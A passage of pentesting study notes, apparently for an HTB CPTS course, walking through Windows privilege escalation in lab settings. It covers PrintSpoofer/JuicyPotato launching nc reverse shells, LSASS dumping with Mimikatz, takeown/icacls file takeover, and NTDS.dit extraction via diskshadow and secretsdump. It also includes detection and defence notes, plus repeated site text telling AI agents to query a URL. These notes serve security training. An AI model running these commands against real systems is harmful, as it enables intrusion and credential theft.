└──╼ [★]$ nc -lvnp 8443

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443

5. Execute PrintSpoofer Privilege Escalation

SQL> xp_cmdshell c:\tools\PrintSpoofer.exe -c "C:\tools\nc.exe 10.10.14.143 8443 -e cmd.exe"

output                                                                             
--------------------------------------------------------------------------------   
[+] Found privilege: SeImpersonatePrivilege                                        
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

6. Receive SYSTEM Shell

┌─[us-academy-1]─[10.10.14.143]─[htb-ac330204@pwnbox-base]─[~]
└──╼ [★]$ nc -lvnp 8443

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443
Ncat: Connection from 10.129.43.43.
Ncat: Connection from 10.129.43.43:49699.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

7. Verify SYSTEM Access & Retrieve Flag

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
WINLPE-SRV01

# Retrieve the flag
C:\Windows\system32>type C:\Users\Administrator\Desktop\SeImpersonate\flag.txt
[FLAG_CONTENT_HERE]

Alternative Methods

Using JuicyPotato (for older systems)

# If PrintSpoofer fails, try JuicyPotato
SQL> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.143 8443 -e cmd.exe" -t *

Key Success Indicators

  1. ✅ SeImpersonatePrivilege Enabled - Confirmed in step 3
  2. ✅ PrintSpoofer Success Message - [+] Found privilege: SeImpersonatePrivilege
  3. ✅ SYSTEM Shell Received - whoami returns nt authority\system
  4. ✅ Flag Retrieved - Successfully read from Administrator desktop

Troubleshooting Common Issues

If PrintSpoofer Fails:

# Try alternative tools based on OS version:
# Windows Server 2016 and below: JuicyPotato
# Windows 10/Server 2019+: PrintSpoofer, RoguePotato

If Connection Issues:

# Verify firewall rules and network connectivity
# Try different ports: 443, 80, 8080, 9001

If Tools Not Present:

# Upload tools first (may require web shell or other upload method)
# Or use PowerShell-based alternatives

🔍 Detection Indicators

Process Behavior

# Unusual SYSTEM processes spawned from service accounts
# COM server listening on high ports
# Named pipe creation by non-privileged accounts
# Print Spooler service interactions

Event Logs

  • Event ID 4648 - Explicit credential logon (token impersonation)
  • Event ID 4672 - Special privileges assigned to logon
  • Event ID 4624 - Account logon events

🛡️ Defense Strategies

Privilege Hardening

# Remove SeImpersonate from service accounts
# Implement least-privilege principles
# Regular privilege audits

Detection Rules

# Monitor for:
- JuicyPotato.exe execution
- PrintSpoofer.exe execution  
- Unusual token impersonation events
- SYSTEM processes spawned by service accounts

📋 SeImpersonate Exploitation Checklist

Prerequisites

  • Service account access (web shell, SQL, Jenkins)
  • SeImpersonatePrivilege OR SeAssignPrimaryTokenPrivilege
  • Tool upload capability (JuicyPotato/PrintSpoofer)
  • Network connectivity for reverse shells

Execution Steps

  • Verify privileges (whoami /priv)
  • Select appropriate tool based on OS version
  • Upload exploitation binary to target system
  • Set up reverse shell listener on attack machine
  • Execute privilege escalation command
  • Confirm SYSTEM access (whoami)

Post-Exploitation

  • Retrieve sensitive data (flags, credentials)
  • Establish persistence (user creation, services)
  • Lateral movement preparation
  • Evidence cleanup (optional)

💡 Key Takeaways

  1. SeImpersonate privilege is extremely powerful for privilege escalation
  2. Service accounts commonly have this privilege enabled
  3. Tool selection depends on target OS version and build
  4. Multiple techniques available - always have backups ready
  5. Common attack vector - expect this in most web applications
  6. High success rate when prerequisites are met

SeImpersonate privilege escalation remains one of the most reliable Windows privilege escalation techniques, particularly in service account compromise scenarios.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/seimpersonate-privilege-escalation.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

SeDebugPrivilege

🎯 Overview

SeDebugPrivilege is a powerful Windows user right that allows debugging of programs and access to system memory. While typically assigned to administrators, developers may receive this privilege for troubleshooting purposes. This privilege enables LSASS process dumping and SYSTEM privilege escalation.

🔑 Privilege Fundamentals

SeDebugPrivilege Capabilities

  • Memory access to critical OS components
  • Process debugging including system processes
  • LSASS dumping for credential extraction
  • Token manipulation for privilege escalation

Common Assignment Contexts

# Local/Domain Group Policy assignment:
Computer Settings > Windows Settings > Security Settings > Local Policies > User Rights Assignment
"Debug programs" = SeDebugPrivilege
Target Users:
  • Developers - for system component debugging
  • System admins - for troubleshooting purposes
  • Service accounts - for application debugging

📊 Privilege Detection

Enumeration

# Check current privileges
whoami /priv

# Key output to identify:
SeDebugPrivilege                          Debug programs                     Disabled
Important Notes:
  • Privilege shows as Disabled by default
  • Elevated shell required to utilize
  • Automatically enabled when running privileged operations

💾 LSASS Memory Dumping

Method 1: ProcDump (SysInternals)

Prerequisites

# Elevated PowerShell/Command Prompt required
# ProcDump from SysInternals suite

LSASS Process Dump

# Dump LSASS process memory
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Expected output:
ProcDump v10.0 - Sysinternals process dump utility
[15:25:45] Dump 1 initiated: C:\Tools\Procdump\lsass.dmp
[15:25:45] Dump 1 writing: Estimated dump file size is 42 MB.
[15:25:45] Dump 1 complete: 43 MB written in 0.5 seconds

Credential Extraction with Mimikatz

mimikatz.exe

# Enable logging (recommended)
mimikatz # log
Using 'mimikatz.log' for logfile : OK

# Load dump file
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

# Extract credentials
mimikatz # sekurlsa::logonpasswords

# Sample output:
Authentication Id : 0 ; 23026942 (00000000:015f5cfe)
Session           : RemoteInteractive from 2
User Name         : jordan
Domain            : WINLPE-SRV01
Logon Server      : WINLPE-SRV01
Logon Time        : 3/31/2021 2:59:52 PM
SID               : S-1-5-21-3769161915-3336846931-3985975925-1000
        msv :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * NTLM     : cf3a5525ee9414229e66279623ed5c58
         * SHA1     : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2

Method 2: Task Manager (GUI)

Manual LSASS Dump

  1. Open Task Manager (Ctrl+Shift+Esc)
  2. Navigate to Details tab
  3. Find lsass.exe process
  4. Right-click → Create dump file
  5. Download dump file to attack system
  6. Process with Mimikatz using same commands

⬆️ SYSTEM Privilege Escalation

Token Impersonation Technique

Concept

  • Parent process targeting - identify SYSTEM processes
  • Token inheritance - child process inherits parent token
  • Process creation - spawn elevated child process

PowerShell PoC Script

Process ID Enumeration

# List running processes with PIDs
tasklist

# Key SYSTEM processes to target:
System                           4 Services                   0        116 K
winlogon.exe                   612 Console                    1     10,408 K
lsass.exe                      680 Services                   0     15,332 K

Process Impersonation

# Load PoC script (psgetsystem)
# GitHub: https://github.com/decoder-it/psgetsystem

# Syntax: [MyProcess]::CreateProcessFromParent(<system_pid>, <command>, "")

# Target winlogon.exe (PID 612) to spawn SYSTEM cmd
[MyProcess]::CreateProcessFromParent(612, "cmd.exe", "")

# Alternative: Target LSASS process
$lsass = Get-Process lsass
[MyProcess]::CreateProcessFromParent($lsass.Id, "cmd.exe", "")

Verification

# New command prompt opens as SYSTEM
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>whoami /priv
# Full SYSTEM privileges displayed

🎯 HTB Academy Lab Solution

Lab Environment

  • Target: 10.129.43.43 (ACADEMY-WINLPE-SRV01)
  • Credentials: jordan:HTB_@cademy_j0rdan!
  • Access Method: RDP
  • Objective: Obtain NTLM hash for sccm_svc account

Step-by-Step Solution

1. RDP Connection

# Connect via RDP
xfreerdp /v:10.129.43.43 /u:jordan /p:'HTB_@cademy_j0rdan!'

2. Verify SeDebugPrivilege

# Open elevated Command Prompt (Run as Administrator)
# Enter jordan's credentials when prompted

C:\>whoami /priv
# Confirm SeDebugPrivilege is listed (Disabled state is normal)

3. LSASS Memory Dump

# Navigate to tools directory
cd C:\Tools

# Dump LSASS process
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Verify dump creation
dir lsass.dmp

4. Credential Extraction

# Launch Mimikatz
mimikatz.exe

# Enable logging
mimikatz # log

# Load LSASS dump
mimikatz # sekurlsa::minidump lsass.dmp

# Extract all credentials
mimikatz # sekurlsa::logonpasswords

5. Locate sccm_svc Hash

# Search for sccm_svc account in output
# Look for NTLM hash in msv section:

Authentication Id : 0 ; [ID]
Session           : Service from 0
User Name         : sccm_svc
Domain            : WINLPE-SRV01
        msv :
         * Username : sccm_svc
         * Domain   : WINLPE-SRV01
         * NTLM     : [NTLM_HASH_HERE]

6. Submit Hash

# Submit the NTLM hash found for sccm_svc account
# Format: 32-character hexadecimal string

Alternative Approaches

PowerShell-Based Extraction

# If ProcDump unavailable, use PowerShell memory access
# Requires custom scripts for memory manipulation

Task Manager Method

# GUI approach:
1. Task Manager → Details tab
2. Find lsass.exe → Right-click → Create dump file  
3. Transfer dump to analysis machine
4. Process with Mimikatz offline

🔍 Detection Indicators

Process Activity

# Suspicious activities to monitor:
- procdump.exe execution with lsass.exe target
- mimikatz.exe execution
- Unusual memory dumps in temp directories
- Task Manager dump file creation

Event Logs

  • Event ID 4656 - Handle to object requested (LSASS access)
  • Event ID 4663 - Attempt to access object (memory dump)
  • Event ID 4688 - New process creation (debugging tools)

🛡️ Defense Strategies

Privilege Hardening

# Remove SeDebugPrivilege from non-essential accounts
# Implement least-privilege principles
# Regular privilege audits and reviews

Monitoring and Detection

# Monitor for:
- LSASS process access attempts
- Memory dump file creation
- Mimikatz execution signatures
- Unusual process debugging activities

LSASS Protection

# Enable LSASS protection (Windows 8.1+)
# Configure Windows Defender Credential Guard
# Implement Protected Process Light (PPL) for LSASS

📋 SeDebugPrivilege Exploitation Checklist

Prerequisites

  • User account with SeDebugPrivilege assigned
  • Elevated shell (Run as Administrator)
  • ProcDump/Mimikatz tools available
  • Target identification (LSASS or SYSTEM processes)

LSASS Dumping Steps

  • Verify privilege (whoami /priv)
  • Execute procdump on lsass.exe
  • Launch Mimikatz with logging enabled
  • Load dump file (sekurlsa::minidump)
  • Extract credentials (sekurlsa::logonpasswords)

SYSTEM Escalation Steps

  • Identify SYSTEM process PID (tasklist)
  • Load PoC script (psgetsystem)
  • Execute impersonation command
  • Verify SYSTEM access (whoami)

💡 Key Takeaways

  1. SeDebugPrivilege enables powerful memory access capabilities
  2. LSASS dumping reveals cached credentials for logged-on users
  3. Multiple extraction methods available (ProcDump, Task Manager)
  4. Token impersonation allows direct SYSTEM escalation
  5. Developer accounts commonly have this privilege assigned
  6. Detection possible through process monitoring and event logs

SeDebugPrivilege exploitation provides reliable access to system credentials and SYSTEM-level privileges when properly leveraged.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/sedebug-privilege-escalation.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

SeTakeOwnershipPrivilege

🎯 Overview

SeTakeOwnershipPrivilege grants users the ability to take ownership of any “securable object” including NTFS files/folders, registry keys, services, processes, and Active Directory objects. This privilege assigns WRITE_OWNER rights, allowing modification of object security descriptors to change ownership.

🔑 Privilege Fundamentals

SeTakeOwnershipPrivilege Capabilities

  • File/folder ownership takeover on NTFS systems
  • Registry key ownership modification
  • Service ownership changes
  • Process ownership manipulation
  • Active Directory object ownership control

Assignment Contexts

# Group Policy location:
Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment
"Take ownership of files or other objects"
Common Assignment Scenarios:
  • Administrators - assigned by default
  • Service accounts - backup jobs, VSS snapshots
  • Specialized roles - often combined with SeBackupPrivilege, SeRestorePrivilege
  • GPO abuse victims - via SharpGPOAbuse attacks

📊 Privilege Detection & Enablement

Enumeration

# Check current privileges
whoami /priv

# Expected output:
SeTakeOwnershipPrivilege      Take ownership of files or other objects    Disabled

Privilege Activation

Method 1: PowerShell Script

# Import privilege enablement script
Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1

# Verify activation
whoami /priv

# Expected result:
SeTakeOwnershipPrivilege      Take ownership of files or other objects    Enabled

Method 2: Manual Token Manipulation

# Use native Windows APIs to enable privilege
# Requires elevated PowerShell context

🎯 Target File Identification

High-Value Targets

System Configuration Files

# Web application configs
c:\inetpub\wwwroot\web.config

# Registry backups
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security

# System event logs
%WINDIR%\system32\config\SecEvent.Evt

# Registry hive backups
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

Credential Files

# Common password files
passwords.*
pass.*
creds.*
credential.*

# Database files
*.kdbx (KeePass databases)
*.db
*.sqlite

# Document files
*.docx, *.xlsx, *.pdf (may contain credentials)

Specialized Files

# Virtual machine files
*.vhd, *.vhdx, *.vmdk

# Certificate files
*.pfx, *.p12

# SSH keys
id_rsa, id_ed25519

# Configuration scripts
*.ps1, *.bat, *.vbs

💻 File Ownership Attack Technique

Step 1: Target Assessment

# Examine target file details
Get-ChildItem -Path 'C:\TakeOwn\flag.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner}}

# Check directory ownership if file owner hidden
cmd /c dir /q 'C:\Department Shares\Private\IT'

Step 2: Ownership Takeover

# Take ownership using takeown utility
takeown /f 'C:\Department Shares\Private\IT\cred.txt'

# Expected output:
SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "WINLPE-SRV01\htb-student"

Step 3: Ownership Verification

# Confirm ownership change
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select name,directory,@{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}

# Expected result:
Name     Directory                       Owner
----     ---------                       -----
cred.txt C:\Department Shares\Private\IT WINLPE-SRV01\htb-student

Step 4: Access Control Modification

# Test file access first
cat 'C:\Department Shares\Private\IT\cred.txt'
# May still result in: Access to the path is denied

# Grant full permissions using icacls
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F

# Expected output:
processed file: C:\Department Shares\Private\IT\cred.txt
Successfully processed 1 files; Failed processing 0 files

Step 5: File Access

# Read file contents
cat 'C:\Department Shares\Private\IT\cred.txt'

# Sample output:
NIX01 admin
root:n1X_p0wer_us3er!

🎯 HTB Academy Lab Solution

Lab Environment

  • Target: 10.129.43.43 (ACADEMY-WINLPE-SRV01)
  • Credentials: htb-student:HTB_@cademy_stdnt!
  • Access Method: RDP
  • Objective: Leverage SeTakeOwnershipPrivilege over C:\TakeOwn\flag.txt

Detailed Step-by-Step Solution

1. RDP Connection

# Connect via RDP
xfreerdp /v:10.129.43.43 /u:htb-student /p:'HTB_@cademy_stdnt!'

2. Privilege Verification

# Open elevated PowerShell (Run as Administrator)
# Enter htb-student credentials when prompted

PS C:\> whoami /priv

# Locate SeTakeOwnershipPrivilege in output:
SeTakeOwnershipPrivilege      Take ownership of files or other objects    Disabled

3. Privilege Activation

# Download/locate Enable-Privilege.ps1 script
# If not available, use manual method or download from GitHub

# Enable all token privileges
Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1

# Verify activation
PS C:\> whoami /priv
# Confirm SeTakeOwnershipPrivilege shows as "Enabled"

4. Target File Analysis

# Examine target file
Get-ChildItem -Path 'C:\TakeOwn\flag.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner}}

# Check directory structure
cmd /c dir /q 'C:\TakeOwn\'

5. File Ownership Takeover

# Take ownership of flag.txt
takeown /f 'C:\TakeOwn\flag.txt'

# Expected success message:
SUCCESS: The file (or folder): "C:\TakeOwn\flag.txt" now owned by user "WINLPE-SRV01\htb-student"

6. Access Control Modification

# Grant full permissions to current user
icacls 'C:\TakeOwn\flag.txt' /grant htb-student:F

# Verify permissions granted:
processed file: C:\TakeOwn\flag.txt
Successfully processed 1 files; Failed processing 0 files

7. Flag Retrieval

# Read flag contents
cat 'C:\TakeOwn\flag.txt'
# OR
Get-Content 'C:\TakeOwn\flag.txt'

# Submit the flag content found in the file

Alternative Methods

Manual ACL Manipulation

# Using Get-Acl/Set-Acl for more granular control
$acl = Get-Acl 'C:\TakeOwn\flag.txt'
$acl.SetOwner([System.Security.Principal.WindowsIdentity]::GetCurrent().User)
Set-Acl -Path 'C:\TakeOwn\flag.txt' -AclObject $acl

Registry Key Takeover

# Take ownership of registry keys (if applicable)
takeown /f "HKLM\SOFTWARE\TargetKey" /r

⚠️ Impact & Considerations

Destructive Nature

# HIGH RISK ACTIVITIES:
- Live web.config file modification
- Critical system file ownership changes  
- Deep directory structure modifications
- Service configuration file changes

Reversion Challenges

# DIFFICULT TO REVERT:
- Nested subdirectory permission changes
- Service account ownership restoration
- Complex ACL structure reconstruction

Client Communication

# BEST PRACTICES:
- Document all ownership changes
- Attempt permission reversion
- Alert client to irreversible changes
- Include modifications in report appendix

🔍 Detection Indicators

File System Events

# Event IDs to monitor:
Event ID 4670 - Object permissions changed
Event ID 4657 - Registry value modified  
Event ID 4663 - Access attempt to object
Event ID 4656 - Handle to object requested

Process Activity

# Suspicious activities:
- takeown.exe execution with critical files
- icacls.exe permission modifications
- Unusual file access patterns
- PowerShell privilege modification scripts

Registry Monitoring

# Registry changes to watch:
HKLM\SYSTEM\CurrentControlSet\Services (service ownership)
HKLM\SOFTWARE (application settings)
HKCU (user-specific changes)

🛡️ Defense Strategies

Privilege Hardening

# Remove SeTakeOwnershipPrivilege from:
- Non-essential service accounts
- Standard user accounts  
- Development accounts in production
- Third-party application accounts

File System Protection

# Implement protections:
- NTFS permissions auditing
- File integrity monitoring (FIM)
- Protected directories with strict ACLs
- Regular permission reviews

Monitoring Implementation

# Deploy monitoring for:
- Ownership change events
- Permission modification alerts
- Critical file access attempts
- Privilege escalation indicators

📋 SeTakeOwnershipPrivilege Exploitation Checklist

Prerequisites

  • User account with SeTakeOwnershipPrivilege assigned
  • Elevated shell (Run as Administrator)
  • Privilege enablement capability (scripts/tools)
  • Target file identification (high-value assets)

Execution Steps

  • Verify privilege (whoami /priv)
  • Enable privilege (Enable-Privilege.ps1 or manual)
  • Identify target (sensitive files/directories)
  • Take ownership (takeown /f [target])
  • Modify ACL (icacls [target] /grant user:F)
  • Access content (read/copy sensitive data)

Post-Exploitation

  • Document changes (ownership modifications)
  • Attempt reversion (restore original permissions)
  • Extract data (credentials, configurations)
  • Report modifications (client notification)

File Targets Priority

  • Web.config files (application credentials)
  • Registry backups (SAM, SYSTEM, SECURITY)
  • Password files (*.txt, *.xlsx containing creds)
  • Database files (KeePass *.kdbx)
  • Certificate stores (*.pfx files)

💡 Key Takeaways

  1. SeTakeOwnershipPrivilege enables ownership takeover of any securable object
  2. File system attacks are primary use case for privilege escalation
  3. ACL modification required after ownership change for access
  4. Destructive potential requires careful consideration before execution
  5. Service accounts commonly have this privilege for backup operations
  6. GPO abuse can grant privilege to controlled accounts
  7. Detection possible through file system event monitoring

SeTakeOwnershipPrivilege exploitation provides powerful file system access but should be used with extreme caution due to its potentially destructive nature.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/setakeownership-privilege-escalation.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Windows Built-in Groups

🎯 Overview

Windows Built-in Groups provide specific privileges to enforce least-privilege principles without granting full administrative access. These groups exist on servers from Windows Server 2008 R2 to present, with some exceptions. Understanding membership implications is crucial for both privilege escalation and security assessment.

🏛️ Key Built-in Groups

High-Privilege Groups

GroupKey PrivilegesAttack Potential
Backup OperatorsSeBackup, SeRestoreNTDS.dit access, file system bypass
Event Log ReadersEvent log accessSensitive log data extraction
DnsAdminsDNS service controlCode execution via DLL injection
Hyper-V AdministratorsVM managementVM escape, hypervisor attacks
Print OperatorsPrint service controlService manipulation attacks
Server OperatorsService managementService privilege escalation

Assignment Contexts

# Common reasons for assignment:
- Least privilege enforcement (avoiding Domain Admin creation)
- Vendor application requirements
- Backup and restore operations
- Testing scenarios (often forgotten)
- Service account requirements
Assessment Priority:
  • Always enumerate group memberships (whoami /groups)
  • Document excessive/unnecessary memberships
  • Review historical assignments (leftovers from testing)

🔐 Backup Operators - SeBackupPrivilege Exploitation

Privilege Fundamentals

SeBackupPrivilege Capabilities

  • Folder traversal without ACL restrictions
  • File copying from protected directories
  • Registry hive backup (SAM, SYSTEM, SECURITY)
  • NTDS.dit access on Domain Controllers
  • ACL bypass with FILE_FLAG_BACKUP_SEMANTICS

Detection and Enablement

Group Membership Verification

# Check current group memberships
whoami /groups

# Look for:
BUILTIN\Backup Operators                       Group S-1-5-32-551

Privilege Enumeration

# Check privilege status
whoami /priv

# Expected output:
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled

Privilege Activation

Method 1: PowerShell Modules

# Import required libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

# Check privilege status
Get-SeBackupPrivilege
# Output: SeBackupPrivilege is disabled

# Enable privilege
Set-SeBackupPrivilege

# Verify activation
Get-SeBackupPrivilege
# Output: SeBackupPrivilege is enabled

# Confirm via whoami
whoami /priv
# SeBackupPrivilege should show as "Enabled"

Method 2: Elevated Context

# May require elevated Command Prompt to bypass UAC
# Run Command Prompt as Administrator
# Enter Backup Operators user credentials when prompted

💾 File System Exploitation

Protected File Access

Standard Access Failure

# Attempt normal file access
dir C:\Confidential\
cat 'C:\Confidential\2021 Contract.txt'

# Expected result:
Access to the path 'C:\Confidential\2021 Contract.txt' is denied.

SeBackupPrivilege Bypass

# Use specialized copy function
Copy-FileSeBackupPrivilege 'C:\Users\Administrator\Desktop\SeBackupPrivilege flag.txt' .\flag.txt
Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt

# Expected output:
Copied 88 bytes

# Read copied file
cat .\Contract.txt
# Content accessible despite ACL restrictions

Registry Hive Extraction

SAM and SYSTEM Backup

# Backup critical registry hives
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV

# Expected output for each:
The operation completed successfully.

🏰 Domain Controller Attacks

NTDS.dit Extraction Strategy

Challenge

  • NTDS.dit contains NTLM hashes for all domain accounts
  • File locked by Active Directory services
  • Restricted access even for privileged users

Solution: Shadow Copy Technique

Step 1: Create Shadow Copy

# Launch DiskShadow utility
diskshadow.exe

# DiskShadow commands sequence:
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

Step 2: Verify Shadow Copy

# Examine shadow copy contents
dir E:

# Expected structure:
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         5/6/2021   1:00 PM                Confidential
d-r---        3/24/2021   6:20 PM                Program Files
d-r---         5/6/2021  12:51 PM                Users
d-----        3/24/2021   6:38 PM                Windows

Step 3: Copy NTDS.dit

# Copy database file using SeBackupPrivilege
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

# Expected output:
Copied 16777216 bytes

Alternative: Robocopy Method

# Use built-in robocopy with backup mode
robocopy /B E:\Windows\NTDS .\ntds ntds.dit

# Output:
ROBOCOPY     ::     Robust File Copy for Windows
100%        New File              16.0 m        ntds.dit
   Speed :           356962042 Bytes/sec.

🔓 Credential Extraction

Method 1: DSInternals Module

Extract Specific Account

# Import DSInternals module
Import-Module .\DSInternals.psd1

# Get boot key from SYSTEM hive
$key = Get-BootKey -SystemHivePath .\SYSTEM

# Extract administrator account hash
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key

# Sample output:
DistinguishedName: CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
SamAccountName: Administrator
Secrets
  NTHash: cf3a5525ee9414229e66279623ed5c58
  LMHash:

Method 2: SecretsDump.py

Extract All Domain Hashes

# Use Impacket secretsdump for complete extraction
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

# Expected output:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a05824b8c279f2eb31495a012473d129:::
htb-student:1103:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
svc_backup:1104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::

🎯 HTB Academy Lab Solution

Lab Environment

  • Credentials: svc_backup:HTB_@cademy_stdnt!
  • Access Method: RDP
  • Objective: Leverage SeBackupPrivilege to obtain flag at c:\Users\Administrator\Desktop\SeBackupPrivilege\flag.txt

Detailed Step-by-Step Solution

1. RDP Connection

# Connect via RDP to target (IP will be provided)
xfreerdp /v:[TARGET_IP] /u:svc_backup /p:'HTB_@cademy_stdnt!'

2. Verify Group Membership

# Open Command Prompt
# Check group memberships
whoami /groups

# Look for Backup Operators membership:
BUILTIN\Backup Operators                       Group S-1-5-32-551

3. Check Privilege Status

# Verify SeBackupPrivilege
whoami /priv

# Expected output:
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled

4. Enable SeBackupPrivilege

# Open elevated PowerShell (Run as Administrator)
# Import required modules (may need to download/locate first)
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

# Enable privilege
Set-SeBackupPrivilege

# Verify activation
Get-SeBackupPrivilege
# Should return: SeBackupPrivilege is enabled

5. Target File Analysis

# Attempt normal access to verify restriction
cat 'c:\Users\Administrator\Desktop\SeBackupPrivilege\flag.txt'

# Expected result:
Access to the path is denied.

6. Bypass Restriction with SeBackupPrivilege

# Copy protected file using SeBackupPrivilege
Copy-FileSeBackupPrivilege 'c:\Users\Administrator\Desktop\SeBackupPrivilege\flag.txt' .\flag.txt

# Expected output:
Copied [X] bytes

# Read flag content
cat .\flag.txt
# Submit the flag content

Alternative Methods

Method 1: Robocopy Approach

# Use robocopy with backup mode
robocopy /B "c:\Users\Administrator\Desktop\SeBackupPrivilege" .\backup flag.txt

# Read copied file
type .\backup\flag.txt

Method 2: Registry Approach (if flag in registry)

# Create registry backup
reg save HKLM\SOFTWARE SOFTWARE.SAV

# Extract and analyze offline

⚠️ Limitations and Considerations

Explicit Deny ACEs

# FILE_FLAG_BACKUP_SEMANTICS won't bypass:
- Explicit DENY entries for current user
- Explicit DENY entries for user's groups
- Always check ACLs before attempting access

Operational Considerations

# Best practices:
- Test on non-production systems first
- Document all file accesses
- Clean up temporary files
- Respect client data handling policies

🔍 Detection Indicators

Process Activity

# Monitor for:
- diskshadow.exe execution
- robocopy.exe with /B flag
- Unusual file access patterns in protected directories
- Registry hive backup operations

Event Logs

# Key Event IDs:
Event ID 4656 - Handle to object requested (backup operations)
Event ID 4663 - Access attempt to object (SeBackupPrivilege usage)
Event ID 4673 - Sensitive privilege use (SeBackupPrivilege)
Event ID 5120 - DPAPI key backup (credential access)

File System Changes

# Indicators:
- Temporary shadow copies
- Copied NTDS.dit files
- Registry .SAV files in unusual locations
- PowerShell module imports for privilege manipulation

🛡️ Defense Strategies

Group Membership Hardening

# Regular audits:
- Review Backup Operators membership quarterly
- Remove unnecessary accounts
- Document legitimate business justifications
- Implement approval workflows for additions

Monitoring Implementation

# Deploy monitoring for:
- SeBackupPrivilege usage events
- Shadow copy creation activities
- NTDS.dit access attempts
- Registry hive backup operations

Access Controls

# Additional protections:
- Implement NTDS.dit backup monitoring
- Use Protected Process Light (PPL) for LSASS
- Enable Advanced Audit Policy settings
- Deploy EDR solutions for behavioral analysis

📋 Backup Operators Exploitation Checklist

Prerequisites

  • Backup Operators membership verified (whoami /groups)
  • SeBackupPrivilege available (may be disabled initially)
  • Elevated context (Administrator Command Prompt/PowerShell)
  • Required modules (SeBackupPrivilegeUtils.dll, SeBackupPrivilegeCmdLets.dll)

Privilege Activation

